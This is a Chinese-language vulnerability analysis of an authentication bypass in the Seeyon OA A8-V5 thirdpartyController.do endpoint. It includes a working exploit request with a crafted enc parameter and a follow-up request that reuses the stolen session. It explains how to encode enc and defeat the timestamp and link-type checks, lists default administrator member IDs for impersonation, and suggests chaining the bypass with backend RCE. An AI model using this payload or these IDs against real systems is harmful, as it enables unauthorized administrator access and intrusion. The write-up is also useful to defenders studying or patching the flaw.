致远OA A8-V5 任意用户登录漏洞分析

致远OA A8-V5 任意用户登录漏洞分析

漏洞环境

致远A8 V7.0

漏洞利用

接口 /seeyon/thirdpartyController.do

1
2
3
4
5
6
7
8
GET /seeyon/thirdpartyController.do?method=access&enc=TT5uZnR0YmhmL21qb2wvY2N0L3BxZm8nTj4uODM4NDE0MzEyNDM0NTg1OTI3OSdVPjI3OTM2MjU4MjQ4ODY= HTTP/1.1
Host: 10.0.103.21
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

可以在响应包中得到一个JSESSIONID,在携带JSESSIONID 访问/seeyon/online.do接口进行验证。

1
2
3
4
5
6
7
8
9
GET /seeyon/online.do?method=showOnlineUser HTTP/1.1
Host: 192.168.0.103
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=8C078E76C97C408221F7CD808AF28932; loginPageURL=; avatarImageUrl=-7273032013234748168
Connection: close
image-20230427150637742

可用该JSESSIONID访问需要登录的接口,配合后台一些RCE漏洞进行利用。

漏洞分析

在源码中全局搜索thirdpartyController 关键字

image-20230427150927247

可以根据路由接口找到对应配置文件中类文件的映射,跟入到com.seeyon.ctp.portal.sso.thirdpartyintegration.controller.ThirdpartyController中。

根据exp可以得知调用了该类的access方法。

在这个方法中代码还是比较多,我做了一些简化,保留了关键的几个代码片段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
public ModelAndView access(HttpServletRequest request, HttpServletResponse response) throws Exception {

ModelAndView mv = new ModelAndView("thirdparty/thirdpartyAccess");
String enc = null;
if (request.getParameter("enc") != null) {
enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));
} else {
String transcode = URLDecoder.decode(request.getQueryString().split("enc=")[1]);
enc = request.getQueryString().indexOf("enc=") > 0 ? LightWeightEncoder.decodeString(transcode) : null;
}

if (enc == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
} else {
Map<String, String> encMap = new HashMap();
String[] enc0 = enc.split("[&]");
String[] link = enc0;
int var14 = enc0.length;

String path;
String startTimeStr;
for(int var15 = 0; var15 < var14; ++var15) {
String enc1 = link[var15];
String[] enc2 = enc1.split("[=]");
if (enc2 != null) {
path = enc2[0];
startTimeStr = enc2.length == 2 ? enc2[1] : null;
if (null != startTimeStr) {
startTimeStr = URLEncoder.encode(startTimeStr);
startTimeStr = startTimeStr.replaceAll("%3F", "");
startTimeStr = URLDecoder.decode(startTimeStr);
}

encMap.put(path, startTimeStr);
}
}

link = null;
long memberId = -1L;
Constants.login_useragent_from userAgentFrom = login_useragent_from.pc;
String linkType = (String)encMap.get("L");
path = (String)encMap.get("P");
Long timeStamp;
String link;
if (Strings.isNotBlank(linkType)) {
startTimeStr = "0";
if (encMap.containsKey("T")) {
startTimeStr = (String)encMap.get("T");
startTimeStr = startTimeStr.trim();
}

timeStamp = 0L;
if (NumberUtils.isNumber(startTimeStr)) {
timeStamp = Long.parseLong(startTimeStr);
}

if ((System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
return mv;
}

String _memberId = (String)encMap.get("M");
if (_memberId == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}

memberId = Long.parseLong(_memberId);
link = (String)UserMessageUtil.getMessageLinkType().get(linkType);
if (link == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}


} else {


if (memberId == -1L) {
mv.addObject("ExceptionKey", "mail.read.alert.noUser");
return mv;
} else {
boolean isNeedLogout = false;
long time2 = System.currentTimeMillis();
log.info("Param耗时" + (time2 - time1) + "MS");
User currentUser = (User)session.getAttribute("com.seeyon.current_user");
if (currentUser != null && !currentUser.isDefaultGuest()) {
if (currentUser.getId() != memberId) {
mv.addObject("ExceptionKey", "mail.read.alert.exists");
return mv;
}
} else {
V3xOrgMember member = this.orgManager.getMemberById(memberId);
if (member == null) {
mv.addObject("ExceptionKey", "mail.read.alert.noUser");
return mv;
}

LocaleContext.setLocale(session, this.orgManagerDirect.getMemberLocaleById(member.getId()));
currentUser = new User();
currentUser.setLoginTimestamp(loginTime);
session.setAttribute("com.seeyon.current_user", currentUser);
AppContext.putThreadContext("SESSION_CONTEXT_USERINFO_KEY", currentUser);
AppContext.initSystemEnvironmentContext(request, response, true);
currentUser.setSecurityKey(UUIDLong.longUUID());
currentUser.setId(memberId);
currentUser.setName(member.getName());
currentUser.setLoginName(member.getLoginName());
currentUser.setAccountId(member.getOrgAccountId());
currentUser.setLoginAccount(member.getOrgAccountId());
currentUser.setDepartmentId(member.getOrgDepartmentId());
currentUser.setLevelId(member.getOrgLevelId());
currentUser.setPostId(member.getOrgPostId());
currentUser.setInternal(member.getIsInternal());
currentUser.setUserAgentFrom(userAgentFrom.name());
currentUser.setSessionId(session.getId());
currentUser.setRemoteAddr(Strings.getRemoteAddr(request));
currentUser.setLocale(locale);
BrowserEnum browser = BrowserEnum.valueOf(request);
.... 忽略了

return mv;
}
}
}
image-20230427152644987

首先,在代码的276行处,接收了enc参数并使用LightWeightEncoder.decodeString进行解码,跟入到该方法中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static String decodeString(String encodeString) {
if (encodeString == null) {
return null;
} else {
try {
encodeString = new String((new Base64()).decode(encodeString.getBytes()));
} catch (Exception var3) {
log.warn(var3.getMessage());
}

char[] encodeStringCharArray = encodeString.toCharArray();

for(int i = 0; i < encodeStringCharArray.length; ++i) {
--encodeStringCharArray[i];
}

return new String(encodeStringCharArray);
}
}

这个方法功能是对传入的字符串进行base64解码,然后再将解码后的字符串每一个字符向后移动一位。

如传入bcd->base64编码->调用decodeString->abc

image-20230427153435615

很简单,接下来往下面看。

在286-307行处

image-20230427153611538

这段代码是对经过经过decodeString解码后的值做一个分割操作,首先是将enc的值通过&分割成一个字符串列表,然后再进行遍历,再根据=再次分割字符串,将=前的值作为key放入encMap中,=后面的作为key的值 。如test=1&test2=2&test3=3,就会被拆成{"test": 1,"test2": 2, "test3": 3}

再往下边看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Constants.login_useragent_from userAgentFrom = login_useragent_from.pc;
String linkType = (String)encMap.get("L");
path = (String)encMap.get("P");
Long timeStamp;
String link;
if (Strings.isNotBlank(linkType)) {
startTimeStr = "0";
if (encMap.containsKey("T")) {
startTimeStr = (String)encMap.get("T");
startTimeStr = startTimeStr.trim();
}

timeStamp = 0L;
if (NumberUtils.isNumber(startTimeStr)) {
timeStamp = Long.parseLong(startTimeStr);
}

if ((System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
return mv;
}

String _memberId = (String)encMap.get("M");
if (_memberId == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}

memberId = Long.parseLong(_memberId);
link = (String)UserMessageUtil.getMessageLinkType().get(linkType);
if (link == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}

上面这段代码是从encMap中根据键LPTM拿到对应的值分别赋值给linkTypepathstartTimeStr_memberId

其中linkTypestartTimeStr_memberId所获取到的值很关键,也很重要。

在316-344行处

image-20230427155225249

这里之所以要进入这个if语句体中,是因为需要执行333这条语句,从encMap中获取到_memberId的值,后这个值将会有很大的作用。

在执行在拿到_memberId值之前,先是判断当前的时间是否大于了指定的时间,如果是直接返回了,很显然,我们肯定不想直接返回。

1
2
3
4
if ((System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
return mv;
}

这里的stimeStamp直接可控,所以可以直接传入一个很大的值,可以传入一个跟System.currentTimeMillis()获取到的一样的值,这个条件不成立就不会进入。然后就会在encMap中拿到_memberId的值。

最后

1
2
3
4
5
link = (String)UserMessageUtil.getMessageLinkType().get(linkType);
if (link == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}

这里也是一个很关键的地方,如果link的值为空,那么会直接返回,所以这里必须通过linkType拿到点什么。

先跟入getMessageLinkType方法中。

image-20230427160854982

调用了userMessageManager.getMessageLinkTypes()获取值,继续跟入

image-20230427161007457

找到对应的实现类。

image-20230427161107483

继续跟入

image-20230427161147390

发现直接返回了messageLinkTypes,接下来在这个类中看看哪儿给messageLinkTypes传入了参数。

image-20230427161315102

129-136行处,加载了/base/message-link.properties配置文件,然后把值赋put进messageLinkTypes中。

message-link.properties文件中

image-20230427162407813

随便挑一个给linkType赋值就可以绕过最后一个条件。

接下来就来到最关键的一步

image-20230427163505730

这段代码通过我们拿到的memberId作为参数调用了this.orgManager.getMemberById,这个方法大致就是通过memberId查找对应的用户,从别的师傅文章中得知,致远中存在几个默认的用户。

1
2
3
4
"5725175934914479521"   "集团管理员"
"-7273032013234748168" "系统管理员"
"-7273032013234748798" "系统监控"
"-4401606663639775639" "审计管理员"

我们只需要通过以上memberId就能查询出管理员用户信息,在422行,用新创建的User对象重新设置了session,并且将查询出来的用户信息设置到了currentUser对象中,这才导致了任意用户登录漏洞。